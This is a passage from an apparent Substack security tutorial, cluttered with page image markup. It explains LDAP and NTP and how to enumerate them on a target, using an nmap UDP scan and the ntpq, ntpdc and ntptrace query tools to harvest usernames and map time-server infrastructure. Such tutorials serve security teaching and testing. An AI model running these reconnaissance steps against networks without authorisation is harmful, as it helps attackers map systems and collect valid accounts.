data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f6003436-5fb9-4efd-9b29-63fe4be5ec49_1500x1500.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1456,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:758160,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/173154131?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff6003436-5fb9-4efd-9b29-63fe4be5ec49_1500x1500.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Ud7b!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff6003436-5fb9-4efd-9b29-63fe4be5ec49_1500x1500.png 424w, https://substackcdn.com/image/fetch/$s_!Ud7b!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff6003436-5fb9-4efd-9b29-63fe4be5ec49_1500x1500.png 848w, https://substackcdn.com/image/fetch/$s_!Ud7b!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff6003436-5fb9-4efd-9b29-63fe4be5ec49_1500x1500.png 1272w, https://substackcdn.com/image/fetch/$s_!Ud7b!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff6003436-5fb9-4efd-9b29-63fe4be5ec49_1500x1500.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h3>The LDAP Communication Process</h3><p>LDAP follows a client-server model where multiple systems can simultaneously connect to a central directory. </p><p>The directory stores information in a hierarchical tree structure, making it easy to organize users, groups, and resources. </p><p><strong>Here's how the process works:</strong></p><ul><li><p><strong>Step 1: Connection</strong> - The client establishes a TCP connection to the LDAP server, typically on port 389 (unencrypted) or port 636 (encrypted with SSL/TLS).</p></li><li><p><strong>Step 2: Bind (Authentication)</strong> - The client sends a bind request with credentials to authenticate to the directory. The server responds with success or failure.</p></li><li><p><strong>Step 3: Search Operations</strong> - Clients query the directory for information, such as user details or group memberships. This enables business applications like CRM systems and web portals to verify user credentials and retrieve profile data.</p></li><li><p><strong>Step 4: Modify Operations</strong> - Authorized clients can update existing directory entries, like changing passwords or user attributes. IT infrastructure components like email servers and network devices use this to sync user data.</p></li><li><p><strong>Step 5: Add/Delete Operations</strong> - Administrative clients can create new directory entries or remove existing ones through user management systems.</p></li><li><p><strong>Step 6: Response Processing</strong> - The LDAP server processes each request and sends back a response with the requested data or confirmation of the operation.</p></li><li><p><strong>Step 7: Unbind</strong> - When finished, the client sends an unbind request to close the connection gracefully.</p></li></ul><p>LDAP enumeration involves systematically querying the directory service to collect comprehensive user data, organizational structure, and access control information.</p><div><hr></div><h3><strong>LDAP, you can find:</strong></h3><ol><li><p>Valid usernames</p></li><li><p>Addresses</p></li><li><p>Departmental details</p></li></ol><div><hr></div><h3> LDAP enumeration tools:</h3><ol><li><p>LDAPSearch</p></li><li><p>Softerra LDAP Administrator</p></li><li><p>AD Explorer</p></li><li><p>LDAP Admin Tool</p></li></ol><div><hr></div><h2>NTP Enumeration (Port 123)</h2><p>NTP (Network Time Protocol) is designed to synchronize the clocks of networked computers. It uses UDP port 123 as its primary means of communication.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!C970!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7df3bf7a-8d4a-4156-8f40-9d18499aeab7_1500x500.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!C970!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7df3bf7a-8d4a-4156-8f40-9d18499aeab7_1500x500.jpeg 424w, https://substackcdn.com/image/fetch/$s_!C970!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7df3bf7a-8d4a-4156-8f40-9d18499aeab7_1500x500.jpeg 848w, https://substackcdn.com/image/fetch/$s_!C970!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7df3bf7a-8d4a-4156-8f40-9d18499aeab7_1500x500.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!C970!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7df3bf7a-8d4a-4156-8f40-9d18499aeab7_1500x500.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!C970!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7df3bf7a-8d4a-4156-8f40-9d18499aeab7_1500x500.jpeg" width="1456" height="485" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7df3bf7a-8d4a-4156-8f40-9d18499aeab7_1500x500.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:485,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:412977,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/173154131?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7df3bf7a-8d4a-4156-8f40-9d18499aeab7_1500x500.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!C970!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7df3bf7a-8d4a-4156-8f40-9d18499aeab7_1500x500.jpeg 424w, https://substackcdn.com/image/fetch/$s_!C970!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7df3bf7a-8d4a-4156-8f40-9d18499aeab7_1500x500.jpeg 848w, https://substackcdn.com/image/fetch/$s_!C970!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7df3bf7a-8d4a-4156-8f40-9d18499aeab7_1500x500.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!C970!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7df3bf7a-8d4a-4156-8f40-9d18499aeab7_1500x500.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>NTP can maintain time within 10 milliseconds over the public Internet and achieve accuracies of 200 microseconds or better in local networks under ideal conditions.</p><p>While essential for network operations, NTP services can inadvertently expose valuable network intelligence.</p><div><hr></div><h3>How NTP Works:</h3><p>NTP operates using a client-server model where systems continuously synchronize their clocks through a hierarchical network of time sources.</p><h4><strong>The NTP Daemon (ntpd)</strong></h4><p>Every NTP-enabled system runs the ntpd daemon, a background service that handles all time synchronization activities. The daemon performs three critical functions:</p><ol><li><p><strong>Queries multiple time sources</strong> to gather time information</p></li><li><p><strong>Calculates the most accurate time</strong> by comparing responses from different servers</p></li><li><p><strong>Gradually adjusts the local clock</strong> to prevent sudden time jumps that could disrupt applications</p></li></ol><h4><strong>Stratum Hierarchy System</strong></h4><p>NTP organizes time sources into numbered levels called "strata" that create a pyramid structure:</p><ul><li><p><strong>Stratum 0</strong>: Physical reference clocks (atomic clocks, GPS receivers, radio time signals) - these are not network accessible</p></li><li><p><strong>Stratum 1</strong>: Primary time servers with direct connections to Stratum 0 sources via serial cables or radio receivers</p></li><li><p><strong>Stratum 2</strong>: Secondary servers that synchronize with Stratum 1 servers over the network</p></li><li><p><strong>Stratum 3-15</strong>: Additional network levels, each synchronizing with servers from the stratum above</p></li></ul><p>The lower the stratum number, the closer the server is to the original time source and the more accurate it is considered.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!FlMc!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa96b0456-a915-4644-9c79-2da2745aedd2_1000x700.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!FlMc!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa96b0456-a915-4644-9c79-2da2745aedd2_1000x700.png 424w, https://substackcdn.com/image/fetch/$s_!FlMc!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa96b0456-a915-4644-9c79-2da2745aedd2_1000x700.png 848w, https://substackcdn.com/image/fetch/$s_!FlMc!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa96b0456-a915-4644-9c79-2da2745aedd2_1000x700.png 1272w, https://substackcdn.com/image/fetch/$s_!FlMc!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa96b0456-a915-4644-9c79-2da2745aedd2_1000x700.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!FlMc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa96b0456-a915-4644-9c79-2da2745aedd2_1000x700.png" width="1000" height="700" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a96b0456-a915-4644-9c79-2da2745aedd2_1000x700.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:700,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:376933,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/173154131?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa96b0456-a915-4644-9c79-2da2745aedd2_1000x700.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!FlMc!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa96b0456-a915-4644-9c79-2da2745aedd2_1000x700.png 424w, https://substackcdn.com/image/fetch/$s_!FlMc!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa96b0456-a915-4644-9c79-2da2745aedd2_1000x700.png 848w, https://substackcdn.com/image/fetch/$s_!FlMc!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa96b0456-a915-4644-9c79-2da2745aedd2_1000x700.png 1272w, https://substackcdn.com/image/fetch/$s_!FlMc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa96b0456-a915-4644-9c79-2da2745aedd2_1000x700.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h4><strong>Peer Relationships and Synchronization</strong></h4><p>NTP servers don't rely on a single time source. Instead, they maintain "peer" relationships with multiple servers to ensure reliability:</p><ul><li><p>Each server queries 3-5 different time sources simultaneously</p></li><li><p>The daemon compares all responses and identifies outliers or failed servers</p></li><li><p>It uses statistical algorithms to calculate the most accurate time from the valid responses</p></li><li><p>Servers can peer with others at the same stratum level for additional verification</p></li></ul><h4><strong>Local Network Implementation</strong></h4><p><strong>Organizations typically deploy NTP using this structure:</strong></p><ol><li><p><strong>Designated NTP servers</strong> in the network synchronize with external Stratum 1 or 2 servers</p></li><li><p><strong>Internal systems</strong> point to these local NTP servers instead of external sources</p></li><li><p><strong>Network traffic is reduced</strong> since only a few servers need external access</p></li><li><p><strong>Faster synchronization</strong> occurs because local servers respond quicker than internet sources</p></li></ol><h4><strong>Connection to Global Time Standards</strong></h4><p>The entire NTP network traces back to national time standards maintained by government agencies. Stratum 1 servers connect directly to:</p><ul><li><p><strong>Atomic cesium clocks</strong> at facilities like NIST (US) and NPL (UK)</p></li><li><p><strong>GPS satellite signals</strong> which carry atomic clocks accurate to nanoseconds</p></li><li><p><strong>Radio time broadcasts</strong> (like WWV in the US) transmitted from atomic clock facilities</p></li><li><p><strong>Telephone time services</strong> that provide direct access to atomic time</p></li></ul><p>This connection ensures that a computer in any office can maintain time accuracy within milliseconds of the same atomic clocks used by global financial markets, telecommunications networks, and scientific research facilities.</p><div><hr></div><h3><strong>With NTP, you can find:</strong></h3><p>NTP (Network Time Protocol) servers maintain valuable network information that can be extracted during enumeration.</p><ul><li><p>Other time servers connected to the target</p></li><li><p>IP addresses of time servers in the network</p></li><li><p>Time server hierarchy and relationships</p></li><li><p>Network timing infrastructure details</p></li></ul><div><hr></div><h3>NTP Enumeration Process</h3><p><strong>1. Initial Discovery</strong></p><p>First, confirm that NTP is running on the target machine:</p><pre><code>nmap -sU -p 123 [IP Address]</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!V_fG!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7daf6f20-3f46-4061-87da-d0f9d0f2ece5_2030x838.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!V_fG!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7daf6f20-3f46-4061-87da-d0f9d0f2ece5_2030x838.png 424w, https://substackcdn.com/image/fetch/$s_!V_fG!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7daf6f20-3f46-4061-87da-d0f9d0f2ece5_2030x838.png 848w, https://substackcdn.com/image/fetch/$s_!V_fG!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7daf6f20-3f46-4061-87da-d0f9d0f2ece5_2030x838.png 1272w, https://substackcdn.com/image/fetch/$s_!V_fG!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7daf6f20-3f46-4061-87da-d0f9d0f2ece5_2030x838.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!V_fG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7daf6f20-3f46-4061-87da-d0f9d0f2ece5_2030x838.png" width="1456" height="601" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7daf6f20-3f46-4061-87da-d0f9d0f2ece5_2030x838.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:601,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:690190,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/173154131?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7daf6f20-3f46-4061-87da-d0f9d0f2ece5_2030x838.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!V_fG!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7daf6f20-3f46-4061-87da-d0f9d0f2ece5_2030x838.png 424w, https://substackcdn.com/image/fetch/$s_!V_fG!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7daf6f20-3f46-4061-87da-d0f9d0f2ece5_2030x838.png 848w, https://substackcdn.com/image/fetch/$s_!V_fG!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7daf6f20-3f46-4061-87da-d0f9d0f2ece5_2030x838.png 1272w, https://substackcdn.com/image/fetch/$s_!V_fG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7daf6f20-3f46-4061-87da-d0f9d0f2ece5_2030x838.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>We can see from the scan that NTP is active on the device. Now we can go further by probing the NTP server for useful information.</p><p><strong>2. Extract Time Server Information</strong> </p><p>Use these NTP commands to gather network intelligence:</p><ol><li><p><strong>ntpq</strong> - Monitors NTP daemon operations and lists peer time servers connected to the target.</p></li><li><p><strong>ntpdc</strong> - Queries the NTP daemon for detailed server state information and comprehensive peer statistics.</p></li><li><p><strong>ntptrace</strong> - Traces the complete chain of time servers back to the primary time source, revealing network hierarchy.</p></li></ol><p>Note: The <code>ntpdate</code> command, which was previously in this list, has been deprecated and removed from most modern Linux distributions due to security concerns and the availability of better alternatives. </p><p>Its functionality has been replaced by <code>ntpd -q</code> for one-time synchronization and <code>sntp</code> for simple time queries. Many systems now use <code>chrony</code> instead of the classic NTP suite. However, <code>ntpq</code>, <code>ntpdc</code>, and <code>ntptrace</code> remain widely available as they serve essential monitoring and diagnostic purposes.</p><div><hr></div><h3>ntpq Commands</h3><p>This command monitors the operations of the NTP daemon <code>ntpd</code> and determines performance. Use the following command to view the available parameters:</p><pre><code><code>ntpq -h</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!iD2n!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7cd3b335-387e-4cc0-81ad-ac9c99550064_1698x1480.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!iD2n!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7cd3b335-387e-4cc0-81ad-ac9c99550064_1698x1480.png 424w, https://substackcdn.com/image/fetch/$s_!iD2n!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7cd3b335-387e-4cc0-81ad-ac9c99550064_1698x1480.png 848w, https://substackcdn.com/image/fetch/$s_!iD2n!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7cd3b335-387e-4cc0-81ad-ac9c99550064_1698x1480.png 1272w, https://substackcdn.com/image/fetch/$s_!iD2n!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7cd3b335-387e-4cc0-81ad-ac9c99550064_1698x1480.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!iD2n!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7cd3b335-387e-4cc0-81ad-ac9c99550064_1698x1480.png" width="1456" height="1269" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7cd3b335-387e-4cc0-81ad-ac9c99550064_1698x1480.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1269,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:1238533,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/173154131?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7cd3b335-387e-4cc0-81ad-ac9c99550064_1698x1480.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!iD2n!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7cd3b335-387e-4cc0-81ad-ac9c99550064_1698x1480.png 424w, https://substackcdn.com/image/fetch/$s_!iD2n!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7cd3b335-387e-4cc0-81ad-ac9c99550064_1698x1480.png 848w, https://substackcdn.com/image/fetch/$s_!iD2n!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7cd3b335-387e-4cc0-81ad-ac9c99550064_1698x1480.png 1272w, https://substackcdn.com/image/fetch/$s_!iD2n!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7cd3b335-387e-4cc0-81ad-ac9c99550064_1698x1480.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" 